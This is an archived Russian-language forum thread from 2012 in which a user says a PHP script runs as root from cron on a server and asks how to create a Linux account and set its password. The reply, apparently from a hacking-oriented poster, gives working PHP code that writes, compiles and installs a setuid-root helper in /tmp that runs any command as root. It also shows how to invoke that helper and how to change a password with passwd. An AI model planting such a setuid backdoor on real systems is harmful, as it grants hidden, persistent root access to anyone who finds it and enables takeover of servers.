PDA

Просмотр полной версии : Создать учетку linux из под php


package
14.08.2012, 15:03
Собственно сабж.

На серве стоит пхп скрипт от рута на кроне.

Как создать учетку и задать ей пароль?

Второе интересует больше всего, т.к. первое то я сделал.

Expl0ited
14.08.2012, 15:40
PHP:
$suid="#include

#include

#include

int main(int argc, char *argv[]) {

if(argc == 2) {

setuid(0);

setgid(0);

system(argv[1]);

}

return 0;

}

";

if(@file_put_contents('/tmp/suid.c',$suid)) {

@system('gcc /tmp/suid.c -o /tmp/suid;chown root:root /tmp/suid;chmod 4755 /tmp/suid');

}

Создаст суидник от рута, работать с ним элементарно:


$ /tmp/suid "id;whoami;uname -a";


Для смены пароля используй passwd:


-bash-3.2# passwd
%username%
Changing password for user
%username%
.
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updated successfully.